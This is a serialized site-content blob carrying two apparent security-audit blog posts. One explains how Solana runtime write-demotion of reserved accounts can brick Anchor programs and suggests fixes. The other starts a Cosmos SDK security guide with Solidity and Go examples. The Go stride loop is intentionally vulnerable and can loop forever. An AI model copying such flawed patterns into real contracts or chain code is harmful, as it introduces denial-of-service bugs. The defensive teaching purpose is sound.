Arc",{"type":24,"tag":83,"props":74925,"children":74926},{"style":143},[74927],{"type":29,"value":3226},{"type":24,"tag":83,"props":74929,"children":74930},{"style":101},[74931],{"type":29,"value":14864},{"type":24,"tag":83,"props":74933,"children":74934},{"style":107},[74935],{"type":29,"value":558},{"type":24,"tag":83,"props":74937,"children":74938},{"style":137},[74939],{"type":29,"value":74940},"reserved_keys",{"type":24,"tag":83,"props":74942,"children":74943},{"style":107},[74944],{"type":29,"value":2905},{"type":24,"tag":83,"props":74946,"children":74947},{"class":85,"line":256},[74948],{"type":24,"tag":83,"props":74949,"children":74950},{"style":107},[74951],{"type":29,"value":1071},{"type":24,"tag":18631,"props":74953,"children":74955},{"id":74954},"consequences-silent-failures-and-bricked-programs",[74956],{"type":29,"value":74957},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":74959,"children":74960},{},[74961],{"type":29,"value":74962},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":73,"props":74964,"children":74966},{"className":2725,"code":74965,"language":2724,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[74967],{"type":24,"tag":32,"props":74968,"children":74969},{"__ignoreMap":7},[74970,74985,75012,75027,75066,75073,75120,75151,75158,75173,75204,75211,75226,75257],{"type":24,"tag":83,"props":74971,"children":74972},{"class":85,"line":86},[74973,74977,74981],{"type":24,"tag":83,"props":74974,"children":74975},{"style":107},[74976],{"type":29,"value":22577},{"type":24,"tag":83,"props":74978,"children":74979},{"style":3163},[74980],{"type":29,"value":22582},{"type":24,"tag":83,"props":74982,"children":74983},{"style":107},[74984],{"type":29,"value":19999},{"type":24,"tag":83,"props":74986,"children":74987},{"class":85,"line":113},[74988,74992,74996,75000,75004,75008],{"type":24,"tag":83,"props":74989,"children":74990},{"style":90},[74991],{"type":29,"value":13435},{"type":24,"tag":83,"props":74993,"children":74994},{"style":90},[74995],{"type":29,"value":20891},{"type":24,"tag":83,"props":74997,"children":74998},{"style":3163},[74999],{"type":29,"value":71025},{"type":24,"tag":83,"props":75001,"children":75002},{"style":107},[75003],{"type":29,"value":22662},{"type":24,"tag":83,"props":75005,"children":75006},{"style":3163},[75007],{"type":29,"value":22667},{"type":24,"tag":83,"props":75009,"children":75010},{"style":107},[75011],{"type":29,"value":7028},{"type":24,"tag":83,"props":75013,"children":75014},{"class":85,"line":128},[75015,75019,75023],{"type":24,"tag":83,"props":75016,"children":75017},{"style":107},[75018],{"type":29,"value":22868},{"type":24,"tag":83,"props":75020,"children":75021},{"style":90},[75022],{"type":29,"value":3468},{"type":24,"tag":83,"props":75024,"children":75025},{"style":107},[75026],{"type":29,"value":19999},{"type":24,"tag":83,"props":75028,"children":75029},{"class":85,"line":183},[75030,75034,75038,75042,75046,75050,75054,75058,75062],{"type":24,"tag":83,"props":75031,"children":75032},{"style":90},[75033],{"type":29,"value":20583},{"type":24,"tag":83,"props":75035,"children":75036},{"style":137},[75037],{"type":29,"value":71064},{"type":24,"tag":83,"props":75039,"children":75040},{"style":143},[75041],{"type":29,"value":195},{"type":24,"tag":83,"props":75043,"children":75044},{"style":3163},[75045],{"type":29,"value":22833},{"type":24,"tag":83,"props":75047,"children":75048},{"style":107},[75049],{"type":29,"value":22662},{"type":24,"tag":83,"props":75051,"children":75052},{"style":3163},[75053],{"type":29,"value":22667},{"type":24,"tag":83,"props":75055,"children":75056},{"style":107},[75057],{"type":29,"value":568},{"type":24,"tag":83,"props":75059,"children":75060},{"style":3163},[75061],{"type":29,"value":71089},{"type":24,"tag":83,"props":75063,"children":75064},{"style":107},[75065],{"type":29,"value":5884},{"type":24,"tag":83,"props":75067,"children":75068},{"class":85,"line":203},[75069],{"type":24,"tag":83,"props":75070,"children":75071},{"emptyLinePlaceholder":16},[75072],{"type":29,"value":3422},{"type":24,"tag":83,"props":75074,"children":75075},{"class":85,"line":212},[75076,75080,75084,75088,75092,75096,75100,75104,75108,75112,75116],{"type":24,"tag":83,"props":75077,"children":75078},{"style":107},[75079],{"type":29,"value":22868},{"type":24,"tag":83,"props":75081,"children":75082},{"style":90},[75083],{"type":29,"value":3468},{"type":24,"tag":83,"props":75085,"children":75086},{"style":107},[75087],{"type":29,"value":71124},{"type":24,"tag":83,"props":75089,"children":75090},{"style":143},[75091],{"type":29,"value":1275},{"type":24,"tag":83,"props":75093,"children":75094},{"style":107},[75095],{"type":29,"value":71133},{"type":24,"tag":83,"props":75097,"children":75098},{"style":143},[75099],{"type":29,"value":161},{"type":24,"tag":83,"props":75101,"children":75102},{"style":107},[75103],{"type":29,"value":71142},{"type":24,"tag":83,"props":75105,"children":75106},{"style":143},[75107],{"type":29,"value":8320},{"type":24,"tag":83,"props":75109,"children":75110},{"style":107},[75111],{"type":29,"value":71064},{"type":24,"tag":83,"props":75113,"children":75114},{"style":143},[75115],{"type":29,"value":161},{"type":24,"tag":83,"props":75117,"children":75118},{"style":107},[75119],{"type":29,"value":71159},{"type":24,"tag":83,"props":75121,"children":75122},{"class":85,"line":256},[75123,75127,75131,75135,75139,75143,75147],{"type":24,"tag":83,"props":75124,"children":75125},{"style":90},[75126],{"type":29,"value":20583},{"type":24,"tag":83,"props":75128,"children":75129},{"style":137},[75130],{"type":29,"value":71133},{"type":24,"tag":83,"props":75132,"children":75133},{"style":143},[75134],{"type":29,"value":195},{"type":24,"tag":83,"props":75136,"children":75137},{"style":3163},[75138],{"type":29,"value":25148},{"type":24,"tag":83,"props":75140,"children":75141},{"style":107},[75142],{"type":29,"value":22662},{"type":24,"tag":83,"props":75144,"children":75145},{"style":3163},[75146],{"type":29,"value":22667},{"type":24,"tag":83,"props":75148,"children":75149},{"style":107},[75150],{"type":29,"value":5884},{"type":24,"tag":83,"props":75152,"children":75153},{"class":85,"line":270},[75154],{"type":24,"tag":83,"props":75155,"children":75156},{"emptyLinePlaceholder":16},[75157],{"type":29,"value":3422},{"type":24,"tag":83,"props":75159,"children":75160},{"class":85,"line":302},[75161,75165,75169],{"type":24,"tag":83,"props":75162,"children":75163},{"style":107},[75164],{"type":29,"value":22868},{"type":24,"tag":83,"props":75166,"children":75167},{"style":90},[75168],{"type":29,"value":3468},{"type":24,"tag":83,"props":75170,"children":75171},{"style":107},[75172],{"type":29,"value":19999},{"type":24,"tag":83,"props":75174,"children":75175},{"class":85,"line":324},[75176,75180,75184,75188,75192,75196,75200],{"type":24,"tag":83,"props":75177,"children":75178},{"style":90},[75179],{"type":29,"value":20583},{"type":24,"tag":83,"props":75181,"children":75182},{"style":137},[75183],{"type":29,"value":71232},{"type":24,"tag":83,"props":75185,"children":75186},{"style":143},[75187],{"type":29,"value":195},{"type":24,"tag":83,"props":75189,"children":75190},{"style":3163},[75191],{"type":29,"value":25148},{"type":24,"tag":83,"props":75193,"children":75194},{"style":107},[75195],{"type":29,"value":22662},{"type":24,"tag":83,"props":75197,"children":75198},{"style":3163},[75199],{"type":29,"value":22667},{"type":24,"tag":83,"props":75201,"children":75202},{"style":107},[75203],{"type":29,"value":5884},{"type":24,"tag":83,"props":75205,"children":75206},{"class":85,"line":345},[75207],{"type":24,"tag":83,"props":75208,"children":75209},{"emptyLinePlaceholder":16},[75210],{"type":29,"value":3422},{"type":24,"tag":83,"props":75212,"children":75213},{"class":85,"line":358},[75214,75218,75222],{"type":24,"tag":83,"props":75215,"children":75216},{"style":107},[75217],{"type":29,"value":22868},{"type":24,"tag":83,"props":75219,"children":75220},{"style":90},[75221],{"type":29,"value":3468},{"type":24,"tag":83,"props":75223,"children":75224},{"style":107},[75225],{"type":29,"value":19999},{"type":24,"tag":83,"props":75227,"children":75228},{"class":85,"line":367},[75229,75233,75237,75241,75245,75249,75253],{"type":24,"tag":83,"props":75230,"children":75231},{"style":90},[75232],{"type":29,"value":20583},{"type":24,"tag":83,"props":75234,"children":75235},{"style":137},[75236],{"type":29,"value":41957},{"type":24,"tag":83,"props":75238,"children":75239},{"style":143},[75240],{"type":29,"value":195},{"type":24,"tag":83,"props":75242,"children":75243},{"style":3163},[75244],{"type":29,"value":22897},{"type":24,"tag":83,"props":75246,"children":75247},{"style":107},[75248],{"type":29,"value":22662},{"type":24,"tag":83,"props":75250,"children":75251},{"style":3163},[75252],{"type":29,"value":22667},{"type":24,"tag":83,"props":75254,"children":75255},{"style":107},[75256],{"type":29,"value":5884},{"type":24,"tag":83,"props":75258,"children":75259},{"class":85,"line":406},[75260],{"type":24,"tag":83,"props":75261,"children":75262},{"style":107},[75263],{"type":29,"value":464},{"type":24,"tag":25,"props":75265,"children":75266},{},[75267,75269,75275,75277,75283],{"type":29,"value":75268},"This works fine — until one day, ",{"type":24,"tag":32,"props":75270,"children":75272},{"className":75271},[],[75273],{"type":29,"value":75274},"old_king",{"type":29,"value":75276}," is silently demoted. Suddenly, the ",{"type":24,"tag":32,"props":75278,"children":75280},{"className":75279},[],[75281],{"type":29,"value":75282},"#[account(mut)]",{"type":29,"value":75284}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":18631,"props":75286,"children":75288},{"id":75287},"real-world-example-write-demotion-with-secp256r1_program",[75289,75291],{"type":29,"value":75290},"Real-World Example: Write-Demotion with ",{"type":24,"tag":32,"props":75292,"children":75294},{"className":75293},[],[75295],{"type":29,"value":75296},"secp256r1_program",{"type":24,"tag":25,"props":75298,"children":75299},{},[75300,75302,75307],{"type":29,"value":75301},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":32,"props":75303,"children":75305},{"className":75304},[],[75306],{"type":29,"value":75296},{"type":29,"value":75308},", a precompiled program gated behind a feature flag:",{"type":24,"tag":73,"props":75310,"children":75312},{"className":2725,"code":75311,"language":2724,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[75313],{"type":24,"tag":32,"props":75314,"children":75315},{"__ignoreMap":7},[75316,75337,75357,75386],{"type":24,"tag":83,"props":75317,"children":75318},{"class":85,"line":86},[75319,75324,75328,75333],{"type":24,"tag":83,"props":75320,"children":75321},{"style":3163},[75322],{"type":29,"value":75323},"ReservedAccount",{"type":24,"tag":83,"props":75325,"children":75326},{"style":143},[75327],{"type":29,"value":3226},{"type":24,"tag":83,"props":75329,"children":75330},{"style":101},[75331],{"type":29,"value":75332},"new_pending",{"type":24,"tag":83,"props":75334,"children":75335},{"style":107},[75336],{"type":29,"value":3208},{"type":24,"tag":83,"props":75338,"children":75339},{"class":85,"line":113},[75340,75345,75349,75353],{"type":24,"tag":83,"props":75341,"children":75342},{"style":107},[75343],{"type":29,"value":75344},"    secp256r1_program",{"type":24,"tag":83,"props":75346,"children":75347},{"style":143},[75348],{"type":29,"value":3226},{"type":24,"tag":83,"props":75350,"children":75351},{"style":101},[75352],{"type":29,"value":3231},{"type":24,"tag":83,"props":75354,"children":75355},{"style":107},[75356],{"type":29,"value":3236},{"type":24,"tag":83,"props":75358,"children":75359},{"class":85,"line":128},[75360,75365,75369,75374,75378,75382],{"type":24,"tag":83,"props":75361,"children":75362},{"style":107},[75363],{"type":29,"value":75364},"    feature_set",{"type":24,"tag":83,"props":75366,"children":75367},{"style":143},[75368],{"type":29,"value":3226},{"type":24,"tag":83,"props":75370,"children":75371},{"style":107},[75372],{"type":29,"value":75373},"enable_secp256r1_precompile",{"type":24,"tag":83,"props":75375,"children":75376},{"style":143},[75377],{"type":29,"value":3226},{"type":24,"tag":83,"props":75379,"children":75380},{"style":101},[75381],{"type":29,"value":3231},{"type":24,"tag":83,"props":75383,"children":75384},{"style":107},[75385],{"type":29,"value":3236},{"type":24,"tag":83,"props":75387,"children":75388},{"class":85,"line":183},[75389],{"type":24,"tag":83,"props":75390,"children":75391},{"style":107},[75392],{"type":29,"value":2905},{"type":24,"tag":25,"props":75394,"children":75395},{},[75396,75398,75403,75405,75411],{"type":29,"value":75397},"Before the ",{"type":24,"tag":32,"props":75399,"children":75401},{"className":75400},[],[75402],{"type":29,"value":75373},{"type":29,"value":75404}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":32,"props":75406,"children":75408},{"className":75407},[],[75409],{"type":29,"value":75410},"secp256r1_program::id()",{"type":29,"value":75412}," as the king in a contract.",{"type":24,"tag":25,"props":75414,"children":75415},{},[75416,75418,75423],{"type":29,"value":75417},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":32,"props":75419,"children":75421},{"className":75420},[],[75422],{"type":29,"value":75410},{"type":29,"value":75424}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":18631,"props":75426,"children":75428},{"id":75427},"fix-3-preventing-write-demotion-pitfalls",[75429],{"type":29,"value":75430},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":75432,"children":75433},{},[75434,75436,75441],{"type":29,"value":75435},"Alright, let’s try to fix this ",{"type":24,"tag":2655,"props":75437,"children":75438},{},[75439],{"type":29,"value":75440},"yet another",{"type":29,"value":75442}," edge case — and hopefully close the book on it.",{"type":24,"tag":18631,"props":75444,"children":75446},{"id":75445},"attempt-1-block-known-reserved-accounts",[75447],{"type":29,"value":75448},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":75450,"children":75451},{},[75452],{"type":29,"value":75453},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":73,"props":75455,"children":75457},{"className":40076,"code":75456,"language":40078,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[75458],{"type":24,"tag":32,"props":75459,"children":75460},{"__ignoreMap":7},[75461,75469],{"type":24,"tag":83,"props":75462,"children":75463},{"class":85,"line":86},[75464],{"type":24,"tag":83,"props":75465,"children":75466},{"style":107},[75467],{"type":29,"value":75468},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":83,"props":75470,"children":75471},{"class":85,"line":113},[75472],{"type":24,"tag":83,"props":75473,"children":75474},{"style":245},[75475],{"type":29,"value":75476},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":75478,"children":75479},{},[75480,75482,75487],{"type":29,"value":75481},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":32,"props":75483,"children":75485},{"className":75484},[],[75486],{"type":29,"value":75323},{"type":29,"value":75488}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":18631,"props":75490,"children":75492},{"id":75491},"attempt-2-use-a-pda-vault",[75493],{"type":29,"value":75494},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":75496,"children":75497},{},[75498,75500,75505],{"type":29,"value":75499},"A more future-proof fix is to avoid ",{"type":24,"tag":2040,"props":75501,"children":75502},{},[75503],{"type":29,"value":75504},"transferring lamports to arbitrary accounts",{"type":29,"value":75506}," altogether.",{"type":24,"tag":25,"props":75508,"children":75509},{},[75510],{"type":29,"value":75511},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":51,"props":75513,"children":75514},{"id":2562},[75515],{"type":29,"value":2565},{"type":24,"tag":25,"props":75517,"children":75518},{},[75519],{"type":29,"value":75520},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":75522,"children":75523},{},[75524],{"type":29,"value":75525},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":16422,"props":75527,"children":75528},{},[75529,75534,75539],{"type":24,"tag":67,"props":75530,"children":75531},{},[75532],{"type":29,"value":75533},"It's not executable.",{"type":24,"tag":67,"props":75535,"children":75536},{},[75537],{"type":29,"value":75538},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":67,"props":75540,"children":75541},{},[75542],{"type":29,"value":75543},"It's not a reserved account.",{"type":24,"tag":25,"props":75545,"children":75546},{},[75547],{"type":29,"value":75548},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":2584,"props":75550,"children":75551},{},[75552],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":75554},[75555,75556,75557,75563],{"id":28766,"depth":113,"text":28769},{"id":70939,"depth":113,"text":70942},{"id":72046,"depth":113,"text":72049,"children":75558},[75559,75560,75562],{"id":72052,"depth":128,"text":72055},{"id":72739,"depth":128,"text":75561},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":74044,"depth":128,"text":74047},{"id":2562,"depth":113,"text":2565},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75568,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75569,"description":75570,"date":75571,"author":75572,"image":75573,"isFeatured":16,"onBlogPage":16,"tags":75575,"body":75578,"_type":2606,"_id":89461,"_source":2608,"_file":89462,"_stem":89463,"_extension":2611},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75574,"width":15,"height":15},"/posts/cosmos-security/title.png",[75576,75577],"cosmos-sdk","security",{"type":21,"children":75579,"toc":89439},[75580,75584,75589,75594,75600,75605,75610,75615,75876,76365,76384,76389,76394,76399,76405,76410,76445,76455,76962,76982,76995,77001,77006,77011,77252,77257,77265,77277,77639,77644,77649,77685,77694,78120,78141,78147,78167,78188,78207,78239,78251,78263,78916,78944,78953,79393,79420,79440,79445,79466,79515,79524,80756,80784,80790,80795,80800,80820,81107,81141,81322,81327,81332,81376,81385,82577,82828,82841,82847,82881,82886,82949,82954,82974,82993,83005,83024,83715,83720,83725,83753,83762,84647,84674,84680,84700,84705,84718,84892,84905,84996,85001,85009,85019,85169,85174,85194,85202,85207,85605,85617,85622,85663,85674,85694,86002,86007,86932,86944,86952,86957,87950,87955,87967,87987,88006,88920,88977,89083,89095,89100,89105,89133,89142,89368,89394,89407,89421,89425,89430,89435],{"type":24,"tag":51,"props":75581,"children":75582},{"id":28766},[75583],{"type":29,"value":28769},{"type":24,"tag":25,"props":75585,"children":75586},{},[75587],{"type":29,"value":75588},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":75590,"children":75591},{},[75592],{"type":29,"value":75593},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":51,"props":75595,"children":75597},{"id":75596},"its-loopin-time",[75598],{"type":29,"value":75599},"It's Loopin' Time",{"type":24,"tag":25,"props":75601,"children":75602},{},[75603],{"type":29,"value":75604},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":75606,"children":75607},{},[75608],{"type":29,"value":75609},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":75611,"children":75612},{},[75613],{"type":29,"value":75614},"Here is a simple example for reference:",{"type":24,"tag":73,"props":75616,"children":75618},{"code":75617,"language":4219,"meta":7,"className":4220,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[75619],{"type":24,"tag":32,"props":75620,"children":75621},{"__ignoreMap":7},[75622,75638,75655,75671,75693,75722,75743,75767,75788,75795,75816,75833,75850,75857,75869],{"type":24,"tag":83,"props":75623,"children":75624},{"class":85,"line":86},[75625,75629,75634],{"type":24,"tag":83,"props":75626,"children":75627},{"style":90},[75628],{"type":29,"value":31126},{"type":24,"tag":83,"props":75630,"children":75631},{"style":101},[75632],{"type":29,"value":75633}," sumWithStride",{"type":24,"tag":83,"props":75635,"children":75636},{"style":107},[75637],{"type":29,"value":3208},{"type":24,"tag":83,"props":75639,"children":75640},{"class":85,"line":113},[75641,75646,75651],{"type":24,"tag":83,"props":75642,"children":75643},{"style":3163},[75644],{"type":29,"value":75645},"    uint64",{"type":24,"tag":83,"props":75647,"children":75648},{"style":137},[75649],{"type":29,"value":75650}," start",{"type":24,"tag":83,"props":75652,"children":75653},{"style":107},[75654],{"type":29,"value":989},{"type":24,"tag":83,"props":75656,"children":75657},{"class":85,"line":128},[75658,75662,75667],{"type":24,"tag":83,"props":75659,"children":75660},{"style":3163},[75661],{"type":29,"value":75645},{"type":24,"tag":83,"props":75663,"children":75664},{"style":137},[75665],{"type":29,"value":75666}," stride",{"type":24,"tag":83,"props":75668,"children":75669},{"style":107},[75670],{"type":29,"value":989},{"type":24,"tag":83,"props":75672,"children":75673},{"class":85,"line":183},[75674,75678,75683,75688],{"type":24,"tag":83,"props":75675,"children":75676},{"style":3163},[75677],{"type":29,"value":75645},{"type":24,"tag":83,"props":75679,"children":75680},{"style":107},[75681],{"type":29,"value":75682},"[] ",{"type":24,"tag":83,"props":75684,"children":75685},{"style":90},[75686],{"type":29,"value":75687},"memory",{"type":24,"tag":83,"props":75689,"children":75690},{"style":137},[75691],{"type":29,"value":75692}," arr\n",{"type":24,"tag":83,"props":75694,"children":75695},{"class":85,"line":203},[75696,75700,75704,75709,75713,75718],{"type":24,"tag":83,"props":75697,"children":75698},{"style":107},[75699],{"type":29,"value":633},{"type":24,"tag":83,"props":75701,"children":75702},{"style":90},[75703],{"type":29,"value":61390},{"type":24,"tag":83,"props":75705,"children":75706},{"style":117},[75707],{"type":29,"value":75708}," returns",{"type":24,"tag":83,"props":75710,"children":75711},{"style":107},[75712],{"type":29,"value":223},{"type":24,"tag":83,"props":75714,"children":75715},{"style":3163},[75716],{"type":29,"value":75717},"uint64",{"type":24,"tag":83,"props":75719,"children":75720},{"style":107},[75721],{"type":29,"value":253},{"type":24,"tag":83,"props":75723,"children":75724},{"class":85,"line":212},[75725,75729,75734,75738],{"type":24,"tag":83,"props":75726,"children":75727},{"style":3163},[75728],{"type":29,"value":75645},{"type":24,"tag":83,"props":75730,"children":75731},{"style":107},[75732],{"type":29,"value":75733}," idx ",{"type":24,"tag":83,"props":75735,"children":75736},{"style":143},[75737],{"type":29,"value":1275},{"type":24,"tag":83,"props":75739,"children":75740},{"style":107},[75741],{"type":29,"value":75742}," start;\n",{"type":24,"tag":83,"props":75744,"children":75745},{"class":85,"line":256},[75746,75750,75755,75759,75763],{"type":24,"tag":83,"props":75747,"children":75748},{"style":3163},[75749],{"type":29,"value":75645},{"type":24,"tag":83,"props":75751,"children":75752},{"style":107},[75753],{"type":29,"value":75754}," sum ",{"type":24,"tag":83,"props":75756,"children":75757},{"style":143},[75758],{"type":29,"value":1275},{"type":24,"tag":83,"props":75760,"children":75761},{"style":245},[75762],{"type":29,"value":248},{"type":24,"tag":83,"props":75764,"children":75765},{"style":107},[75766],{"type":29,"value":321},{"type":24,"tag":83,"props":75768,"children":75769},{"class":85,"line":270},[75770,75774,75779,75783],{"type":24,"tag":83,"props":75771,"children":75772},{"style":3163},[75773],{"type":29,"value":75645},{"type":24,"tag":83,"props":75775,"children":75776},{"style":107},[75777],{"type":29,"value":75778}," end ",{"type":24,"tag":83,"props":75780,"children":75781},{"style":143},[75782],{"type":29,"value":1275},{"type":24,"tag":83,"props":75784,"children":75785},{"style":107},[75786],{"type":29,"value":75787}," arr.length;\n",{"type":24,"tag":83,"props":75789,"children":75790},{"class":85,"line":302},[75791],{"type":24,"tag":83,"props":75792,"children":75793},{"emptyLinePlaceholder":16},[75794],{"type":29,"value":3422},{"type":24,"tag":83,"props":75796,"children":75797},{"class":85,"line":324},[75798,75802,75807,75811],{"type":24,"tag":83,"props":75799,"children":75800},{"style":117},[75801],{"type":29,"value":64089},{"type":24,"tag":83,"props":75803,"children":75804},{"style":107},[75805],{"type":29,"value":75806}," (idx ",{"type":24,"tag":83,"props":75808,"children":75809},{"style":143},[75810],{"type":29,"value":5552},{"type":24,"tag":83,"props":75812,"children":75813},{"style":107},[75814],{"type":29,"value":75815}," end) {\n",{"type":24,"tag":83,"props":75817,"children":75818},{"class":85,"line":345},[75819,75824,75828],{"type":24,"tag":83,"props":75820,"children":75821},{"style":107},[75822],{"type":29,"value":75823},"        sum ",{"type":24,"tag":83,"props":75825,"children":75826},{"style":143},[75827],{"type":29,"value":68153},{"type":24,"tag":83,"props":75829,"children":75830},{"style":107},[75831],{"type":29,"value":75832}," arr[idx];\n",{"type":24,"tag":83,"props":75834,"children":75835},{"class":85,"line":358},[75836,75841,75845],{"type":24,"tag":83,"props":75837,"children":75838},{"style":107},[75839],{"type":29,"value":75840},"        idx ",{"type":24,"tag":83,"props":75842,"children":75843},{"style":143},[75844],{"type":29,"value":68153},{"type":24,"tag":83,"props":75846,"children":75847},{"style":107},[75848],{"type":29,"value":75849}," stride;\n",{"type":24,"tag":83,"props":75851,"children":75852},{"class":85,"line":367},[75853],{"type":24,"tag":83,"props":75854,"children":75855},{"style":107},[75856],{"type":29,"value":446},{"type":24,"tag":83,"props":75858,"children":75859},{"class":85,"line":406},[75860,75864],{"type":24,"tag":83,"props":75861,"children":75862},{"style":117},[75863],{"type":29,"value":16725},{"type":24,"tag":83,"props":75865,"children":75866},{"style":107},[75867],{"type":29,"value":75868}," sum;\n",{"type":24,"tag":83,"props":75870,"children":75871},{"class":85,"line":427},[75872],{"type":24,"tag":83,"props":75873,"children":75874},{"style":107},[75875],{"type":29,"value":464},{"type":24,"tag":73,"props":75877,"children":75881},{"code":75878,"language":75879,"meta":7,"className":75880,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[75882],{"type":24,"tag":32,"props":75883,"children":75884},{"__ignoreMap":7},[75885,75905,75918,75930,75948,75955,75962,75982,75994,76001,76008,76043,76069,76090,76119,76149,76194,76271,76307,76314,76358],{"type":24,"tag":83,"props":75886,"children":75887},{"class":85,"line":86},[75888,75892,75897,75901],{"type":24,"tag":83,"props":75889,"children":75890},{"style":90},[75891],{"type":29,"value":32495},{"type":24,"tag":83,"props":75893,"children":75894},{"style":3163},[75895],{"type":29,"value":75896}," MsgSumWithStrideParams",{"type":24,"tag":83,"props":75898,"children":75899},{"style":90},[75900],{"type":29,"value":20891},{"type":24,"tag":83,"props":75902,"children":75903},{"style":107},[75904],{"type":29,"value":125},{"type":24,"tag":83,"props":75906,"children":75907},{"class":85,"line":113},[75908,75913],{"type":24,"tag":83,"props":75909,"children":75910},{"style":137},[75911],{"type":29,"value":75912},"    Start",{"type":24,"tag":83,"props":75914,"children":75915},{"style":3163},[75916],{"type":29,"value":75917}," uint64\n",{"type":24,"tag":83,"props":75919,"children":75920},{"class":85,"line":128},[75921,75926],{"type":24,"tag":83,"props":75922,"children":75923},{"style":137},[75924],{"type":29,"value":75925},"    Stride",{"type":24,"tag":83,"props":75927,"children":75928},{"style":3163},[75929],{"type":29,"value":75917},{"type":24,"tag":83,"props":75931,"children":75932},{"class":85,"line":183},[75933,75938,75943],{"type":24,"tag":83,"props":75934,"children":75935},{"style":137},[75936],{"type":29,"value":75937},"    Arr",{"type":24,"tag":83,"props":75939,"children":75940},{"style":107},[75941],{"type":29,"value":75942}," []",{"type":24,"tag":83,"props":75944,"children":75945},{"style":3163},[75946],{"type":29,"value":75947},"uint64\n",{"type":24,"tag":83,"props":75949,"children":75950},{"class":85,"line":203},[75951],{"type":24,"tag":83,"props":75952,"children":75953},{"style":107},[75954],{"type":29,"value":464},{"type":24,"tag":83,"props":75956,"children":75957},{"class":85,"line":212},[75958],{"type":24,"tag":83,"props":75959,"children":75960},{"emptyLinePlaceholder":16},[75961],{"type":29,"value":3422},{"type":24,"tag":83,"props":75963,"children":75964},{"class":85,"line":256},[75965,75969,75974,75978],{"type":24,"tag":83,"props":75966,"children":75967},{"style":90},[75968],{"type":29,"value":32495},{"type":24,"tag":83,"props":75970,"children":75971},{"style":3163},[75972],{"type":29,"value":75973}," 